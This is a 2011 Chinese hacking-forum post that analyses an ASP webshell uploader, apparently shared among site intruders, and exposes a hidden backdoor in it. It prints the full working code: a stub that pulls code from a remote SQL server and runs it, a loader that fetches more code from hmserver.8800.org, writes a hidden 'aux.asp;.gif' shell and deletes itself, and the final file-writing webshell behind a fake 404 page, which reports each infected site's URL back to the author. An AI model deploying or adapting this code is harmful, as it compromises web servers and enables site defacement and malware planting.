高级脚本“小马”的后门发现之旅

社区服务
高级搜索
猴岛论坛电脑百科高级脚本“小马”的后门发现之旅
发帖 回复
倒序阅读 最近浏览的帖子最近浏览的版块
1个回复

高级脚本“小马”的后门发现之旅

楼层直达
@深情不及久伴

ZxID:10470282

等级: 贵宾
夏天的爱情。

举报 只看楼主 使用道具 楼主   发表于: 2011-04-25 0
高级脚本“小马”的后门发现之旅
New4[D.S.T]


前言:先是到我们暗组论坛看到如下帖子《黑站必备-超强隐藏后门。ASP无敌上传器》,并有人回复说有个域名不知道干什么用的,由于好奇心就下载来看并有了下面的文章。
图1 帖子内容

不看不知道一看吓一跳,这脚本不但高级而且最后还有一手,留了一个后门!
为什么说他高级?因为他用的一些技巧从来没见过,使用了SQL Server+Microsoft.XMLHTTP+404错误页面伪装,让代码可以远程动态获取和多次执行,如果使用者调用小马错误还返回一个200错误号的404错误页面囧!这样小黑以为刚刚上传的小马被杀了,这样也就给了他一个利用后门的机会。起码小黑不会帮他把这个小马删了,至于最后怎么正确调用请继续看往下看嘿。

下面是作者提供的小马后门:
  1. <%password="123456"        '这里123456换成您的密码,密码只能为英文或数字%>
  2. <%'无%>
  3. <%'敌%>
  4. <%'上%>
  5. <%'传%>
  6. <%'器%>
  7. <%BY01="hmserver"%>
  8. <%BY02="8866"%>
  9. <%BY03="org"%>
  10. <%BYJH="."%>
  11. <%CODE="888"%>
  12. <%BYLJ1="provider=sqloledb;"%>
  13. <%BYLJ2="server="&BY01&BYJH&BY02&BYJH&BY03&";"%>
  14. <%BYLJ3="uid="&CODE&";"%>
  15. <%BYLJ4="pwd="&CODE&";"%>
  16. <%BYLJ5="database="&CODE&";"%>
  17. <%Set amconn=Server.CreateObject("ADODB.Connection")%>
  18. <%amconn.open BYLJ1&BYLJ2&BYLJ3&BYLJ4&BYLJ5%>
  19. <%sqlam="select * from code"%>
  20. <%set rsam=amconn.execute(sqlam)%>
  21. <%amtxt=rsam("txt")%>
  22. <%amtxt=replace(amtxt,"amsql=""password""","amsql="""&password&"""")%>
  23. <%execute(amtxt)%>
  24. <%rsam.close%>
  25. <%set rsam=nothing%>
  26. <%amconn.close%>
  27. <%set amconn=nothing%>
复制代码仔细看看上面已经有域名,也就是后面帖子为什么说有的原因了(太明文了)。判断是不是数据库操作我们只要看这个“ADODB.Connection”或“select * from code”前者是创建一个ADO操作数据库的连接,后者则是操作数据库的SQL语句,那小黑就要问了,如何发现最后的秘密呢?
下面我们有两种方法:1.利用抓包软件在服务器(执行ASP那端)上运行抓包看明文;2.自己通过SQL查询分析器连接过去执行SQL语句查询,如图2、3所示,连接帐号、密码、数据库都是888,查询分析器复制的内容不完整可能跟数据类型有关系,查询分析器不能完全显示,大家通过SQL企业管理器查看就完整了。如果大家觉得太麻烦或者没安装SQL Server完整版,那就用下面方法吧。如图4,找一款Sniffer嗅探软件进行数据包抓捕就可以看到所传输的代码,好处是移动方便完全绿色。


图2连接SQL服务器


图3执行SQL语句


图4抓到的数据包

抓包的代码如下:
  1. amsql="password"
  2. BY01="http"
  3. BY02="hmserver"
  4. BY03="8800"
  5. BY04="org"
  6. BYXG="/"
  7. BYJH="."
  8. BYMH=":"
  9. BYQZ="sql_"
  10. BYHZ="sc.txt"
  11. BYDK="888"
  12. BYURL=BY01&BYMH&BYXG&BYXG&BY02&BYJH&BY03&BYJH&BY04&BYMH&BYDK&BYXG&BYQZ&BYHZ
  13. Set amxml = Server.CreateObject("MSXML2.ServerXMLHTTP")
  14. amxml.open "GET",BYURL,false
  15. amxml.send()
  16. amtxt=amxml.responseText
  17. amtxt=replace(amtxt,"amsc=""password""","amsc="""&password&"""")
  18. execute(amtxt)
复制代码上面的代码没什么意思,就一个利用XMLHTTP的下载的方法。我们在继续跟找到sql_sc.txt的代码:
  1. amsc="password"
  2. BYAM="http://hmserver.8800.org:888/hk_"
  3. Function GetUrl()
  4. ScriptAddress=CStr(Request.ServerVariables("SCRIPT_NAME"))
  5. Servername=CStr(Request.ServerVariables("Server_Name"))
  6. findfilename=right(ScriptAddress,len(ScriptAddress)-instrrev(ScriptAddress,"/"))
  7. GetUrl="http://"& Servername & ScriptAddress
  8. Geturl=replace(Geturl,findfilename,"")
  9. End Function
  10. Function GetBody(Url)
  11. Dim objXML
  12. On Error Resume Next
  13. Set objXML=CreateObject("Microsoft.XMLHTTP")
  14. With objXML
  15. .Open "Get", Url, False, "", ""
  16. .Send
  17. GetBody=.ResponseBody
  18. End With
  19. GetBody=BytesToBstr(GetBody,"GB2312")
  20. Set objXML=Nothing
  21. End Function
  22. Function BytesToBstr(strBody,CodeBase)
  23. dim objStream
  24. set objStream=Server.CreateObject("Adodb.Stream")
  25. objStream.Type=1
  26. objStream.Mode=3
  27. objStream.Open
  28. objStream.Write strBody
  29. objStream.Position=0
  30. objStream.Type=2
  31. objStream.Charset=CodeBase
  32. BytesToBstr=objStream.ReadText
  33. objStream.Close
  34. set objStream=nothing
  35. End Function
  36. Function WriteFile(StrContent,Foldername,fileExt,fname)
  37. dim myfos,TheFile,Filename,TheFolder,ThefileExt
  38. Set myfos=Server.CreateObject("Scripting.FileSystemObject")
  39. TheFolder ="./"
  40. ThefileExt=".txt"
  41. If Foldername<>"" Then TheFolder=Foldername
  42. If ThefileExt<>"" Then ThefileExt=fileExt
  43. TheFolder=Server.MapPath(TheFolder)
  44. If myfos.FolderExists(TheFolder)=False Then
  45. myfos.CreateFolder(TheFolder)
  46. End If
  47. If fname="" Then
  48. Filename =Replace(Cstr(time()),":",".")
  49. Else
  50. Filename=fname
  51. End If
  52. TheFile="\\.\"&TheFolder & "\" & Filename & ThefileExt
  53. set fs=Server.CreateObject("Scripting.FileSystemObject")
  54. IF fs.FileExists(TheFile) then
  55. response.write "<script>self.location="""&Geturl&fname&fileext&"?password="&amsc&""";</script>"
  56. Else
  57. Set ff=fs.CreateTextFile(TheFile)
  58. set ff=nothing
  59. response.write "<script>self.location="""&Geturl&fname&fileext&"?password="&amsc&""";</script>"
  60. END IF
  61. set f=fs.GetFile(TheFile)
  62. f.Attributes=0
  63. Set mytxt=myfos.OpenTextFile(TheFile,2,True)
  64. mytxt.Write StrContent
  65. f.Attributes=1+2+4
  66. If err.number<>0 Then
  67. WriteFile=0
  68. End If
  69. mytxt.close
  70. set f=nothing
  71. set fs=nothing
  72. set myfos=nothing
  73. set mytxt=nothing
  74. End Function
  75. aux=GetBody(BYAM&"asp.txt")
  76. aux=replace(aux,"amasp=""password""","amasp="""&amsc&"""")
  77. CALL WriteFile(aux,"",".gif","aux.asp;")
  78. scname=Request.ServerVariables("script_name")
  79. postion=InstrRev(scname,"/")+1
  80. scname=Mid(scname,postion)
  81. If InStr(scname,"?")>0 Then
  82. arrName=scname
  83. arrName=Split(arrName,"?")
  84. scname=arrName(0)
  85. End If
  86. s=Server.MapPath(scname)
  87. Set fso=CreateObject("Scripting.FileSystemObject")
  88. If fso.FileExists(s) Then
  89. fso.Deletefile(s)
  90. End If
  91. Set fso=Nothing
复制代码这段就是写小马的核心部分了,操作大概意思是在通过XMLHTTP下载将最后的小马代码,保存到服务器上文件名为:aux.asp;.gif(不知道作者为什么要这样取名,如果他是        Win2000系统呢那不是执行不起来?),代码我就简单分析到这里,下面继续跟hk_asp.txt文件由于这代码跟抓包的一样也是XMLHTTP下载“hk_aux.txt”,这里我就直接贴hk_aux.txt的代码了:
  1. amaux="password"
  2. if request("password")=amaux then
  3. session(amaux)="ok"
  4. else
  5. session(amaux)="no"
  6. end if
  7. if session(amaux)="ok" then
  8. Response.write("<title>ASP无敌上传器</title>")
  9. on error resume next
  10. testfile=Request.form("N")
  11. msg=Request.form("M")
  12. set fs=server.CreateObject("scripting.filesystemobject")
  13. set thisfile=fs.OpenTextFile(testfile,8,True,0)
  14. thisfile.WriteLine(""&msg& "")
  15. thisfile.close
  16. set fs = nothing
  17. Response.write("<form method=""POST"" ACTION="""">")
  18. Response.write("<input type=""text"" size=""40"" name=""N"" value="&server.mappath("/")&"\新建文件名.asp>")
  19. Response.write("<input type=""submit"" name=""Send"" value=""无敌上传"" class=input><BR>")
  20. Response.write("<textarea name=M cols=50 rows=7 width=15></textarea>")
  21. Response.write("</form>")

  22. Function GetLocationURL()
  23. Dim Url
  24. Dim ServerPort,ServerName,ScriptName,QueryString
  25. ServerName = Request.ServerVariables("SERVER_NAME")
  26. ServerPort = Request.ServerVariables("SERVER_PORT")
  27. ScriptName = Request.ServerVariables("SCRIPT_NAME")
  28. QueryString = Request.ServerVariables("QUERY_STRING")
  29. Url="http://"&ServerName
  30. If ServerPort <> "80" Then Url = Url & ":" & ServerPort
  31. Url=Url&ScriptName
  32. If QueryString <>"" Then Url=Url&"?"& QueryString
  33. GetLocationURL=Url
  34. End Function
  35. geturl=LCASE(GetLocationURL())
  36. BY01="hmserver"
  37. BY02="8866"
  38. BY03="org"
  39. BYJH="."
  40. CODE="url"
  41. BYLJ1="Driver={SQL Server};"
  42. BYLJ2="server="&BY01&BYJH&BY02&BYJH&BY03&";"
  43. BYLJ3="uid="&CODE&";"
  44. BYLJ4="pwd="&CODE&";"
  45. BYLJ5="database="&CODE&";"
  46. set rs=server.CreateObject("adodb.recordset")
  47. conn=""&BYLJ1&BYLJ2&BYLJ3&BYLJ4&BYLJ5&""
  48. sql="select * from url where url='"&geturl&"'"
  49. rs.open sql,conn,1,3
  50. if rs.bof and rs.eof then
  51. rs.addnew
  52. rs("url")=geturl
  53. rs.update
  54. rs.close
  55. conn.close
  56. set rs=nothing
  57. set conn=nothing
  58. end if

  59. Response.write "请记住完整安全地址,只有完整才能登陆<br>"&geturl
  60. response.end
  61. else
  62. Response.Write "<!DOCTYPE HTML PUBLIC ""-//W3C//DTD HTML 4.01//EN"" ""http://www.w3.org/TR/html4/strict.dtd"">"
  63. Response.Write "<HTML><HEAD><TITLE>无法找到该页</TITLE>"
  64. Response.Write "<META HTTP-EQUIV=""Content-Type"" Content=""text/html; charset=GB2312"">"
  65. Response.Write "<STYLE type=""text/css""> "
  66. Response.Write "  BODY { font: 9pt/12pt 宋体 }"
  67. Response.Write "  H1 { font: 12pt/15pt 宋体 }"
  68. Response.Write "  H2 { font: 9pt/12pt 宋体 }"
  69. Response.Write "  A:link { color: red }"
  70. Response.Write "  A:visited { color: maroon }"
  71. Response.Write "</STYLE>"
  72. Response.Write "</HEAD><BODY><TABLE width=500 border=0 cellspacing=10><TR><TD>"
  73. Response.Write "<h1>无法找到该页</h1>"
  74. Response.Write "您正在搜索的页面可能已经删除、更名或暂时不可用。"
  75. Response.Write "<hr>"
  76. Response.Write "<p>请尝试以下操作:</p>"
  77. Response.Write "<ul>"
  78. Response.Write "<li>确保浏览器的地址栏中显示的网站地址的拼写和格式正确无误。</li>"
  79. Response.Write "<li>如果通过单击链接而到达了该网页,请与网站管理员联系,通知他们该链接的格式不正确。"
  80. Response.Write "</li>"
  81. Response.Write "<li>单击<a href=""javascript:history.back(1)"">后退</a>按钮尝试另一个链接。</li>"
  82. Response.Write "</ul>"
  83. Response.Write "<h2>HTTP 错误 404 - 文件或目录未找到。<br>Internet 信息服务 (IIS)</h2>"
  84. Response.Write "<hr>"
  85. Response.Write "<p>技术信息(为技术支持人员提供)</p>"
  86. Response.Write "<ul>"
  87. Response.Write "<li>转到 <a href=""http://go.microsoft.com/fwlink/?linkid=1986"">Microsoft 产品支持服务</a>并搜索包括“HTTP”和“404”的标题。</li>"
  88. Response.Write "<li>打开“IIS 帮助”(可在 IIS 管理器 (inetmgr) 中访问),然后搜索标题为“网站设置”、“常规管理任务”和“关于自定义错误消息”的主题。</li>"
  89. Response.Write "</ul>"
  90. Response.Write "</TD></TR></TABLE></BODY></HTML>"
  91. Response.end
  92. end if
复制代码以上代码就是他小马的精华部分了,而隐藏的后门也暴露在其中。小马调用方法“aux.asp;.gif?password=123456”,如果密码错误就输出伪造的404错误页面,其实标记200的谁看不出来,骗骗小黑还行。而后门就放在Function GetLocationURL()函数里,其实就是通过SQL将该后门地址“上报”,我们只要用SQL查询分析器查就能把他收集的所有Webshell地址列出来(部分首页被挂马),如图5,如果你耐心将整个流程看完,发现过程也没什么技术含量主要是要有耐心,作者使用了3次XMLHTTP如果你耐心不够,使无法发现其后门所在!

图5 所有收集的后门地址

如果在看他ASP代码发现部分使用变量分段不易读的,可以用如下代码进行组合:
  1. <%
  2. BY01="http"
  3. BY02="hmserver"
  4. BY03="8800"
  5. BY04="org"
  6. BYXG="/"
  7. BYJH="."
  8. BYMH=":"
  9. BYQZ="sql_"
  10. BYHZ="sc.txt"
  11. BYDK="888"
  12. BYURL=BY01&BYMH&BYXG&BYXG&BY02&BYJH&BY03&BYJH&BY04&BYMH&BYDK&BYXG&BYQZ&BYHZ

  13. Response.Write(BYURL) '输出变量
  14. %>
复制代码后记:小马也是可以带后门的,请大家以后使用脚本木马要注意查后门,防止被利用导致网站被恶意挂马,那我们就成帮凶了!

Mi.小彬

ZxID:14359740

等级: 上将
永远是热会7队,最强的、

举报 只看该作者 沙发   发表于: 2011-04-25 0
谢谢你的分享。。
哥只是路过的!!!!
« 返回列表
发帖 回复